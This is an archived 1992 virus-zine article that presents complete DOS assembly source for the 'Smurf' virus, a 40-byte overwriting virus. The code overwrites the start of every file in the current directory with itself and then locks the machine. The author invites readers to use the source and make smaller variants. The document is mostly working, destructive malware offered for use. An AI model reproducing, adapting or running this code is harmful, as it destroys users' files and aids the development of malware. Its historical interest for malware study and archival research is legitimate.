home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SMURF.ASM < prev    next >
Assembly Source File  |  1992-12-02  |  3KB  |  70 lines

  1. ─────────═════════>>> Article From Evolution #2 - YAM '92
  2.  
  3. Article Title: The Smurf Virus
  4. Author: Admiral Bailey
  5.  
  6.  
  7. ;---
  8. ; The Smurf virus [40 Bytes Long]
  9. ;
  10. ; Author   : Admiral Bailey [YAM '92]
  11. ; Date     : June 6 1992
  12. ; Language : Assembly [TASM 2.0]
  13. ;
  14. ; Notes:The Smurf virus was my first attempt at writing the smallest
  15. ;       overwriting virus known.  For a first attempt it wasn't that
  16. ;       bad. So far I have got it down to 40 bytes.  The record that
  17. ;       does the same as this is about 38 bytes.  So I gotta loose 2
  18. ;       bytes in here somewhere.  Well seeing as this small thing is
  19. ;       probably the easiest virus in the world to disassemble, I have
  20. ;       included the source in this issue of Evolution for all of you
  21. ;       to take a look at.  The source is for you to use.  If you
  22. ;       happend to make anything smaller using this source please just
  23. ;       give recognition to myself, Admiral Bailey, saying that you got
  24. ;       help looking at this source.  The only thing that this does is
  25. ;       find everyfile in the current directory and overwrite the 1st
  26. ;       40 bytes with itself.  Then locks your computer while it is in
  27. ;       a search loop looking for more file when there are none.  A
  28. ;       neat thing about this is that it displays its entire self to
  29. ;       the screen when executed.  Scan 91 notices this as the mini
  30. ;       virus but I dont blame it seeing that you cant realy avoid
  31. ;       scan when your virus gets this small. Well enjoy the source...
  32. ;       and remember if you use it and enjoy it just let me know.
  33. ;---
  34. code    segment
  35.         assume  ds:code, ss:code, cs:code, es:code
  36.         org     100h                    ;Make it a .com file
  37.  
  38. virus_start     equ     $
  39.  
  40. start:
  41.         mov     dx,offset file_type     ;type of file to look for
  42.         mov     ah,4eh                  ;Find first file command
  43.  
  44. infect:
  45.         int     21h
  46.         mov     ax,3d02h                ;open again to reset handle
  47.         mov     dx,80h+1eh              ;moves filename into dx
  48.         int     21h
  49.         mov     bx,ax                   ;save handle again
  50.         mov     cx,virus_length         ;put size of virus in cx
  51.         mov     dx,100h                 ;where the code starts
  52.         mov     ah,40h                  ;write to handle command
  53.         int     21h                     ;write virus into file
  54.         mov     ah,3eh                  ;close handle service
  55.         int     21h                     ;do it
  56.  
  57. find_next_file:
  58.         mov     ah,4fh                  ;find next file command
  59.         jmp     infect
  60.  
  61. file_type       db      '*.*',0
  62. virus_end       equ     $
  63. virus_length    =       virus_end - virus_start ;length of virus
  64.  
  65. code    ends
  66.  
  67.         end     start
  68.  
  69.  
  70.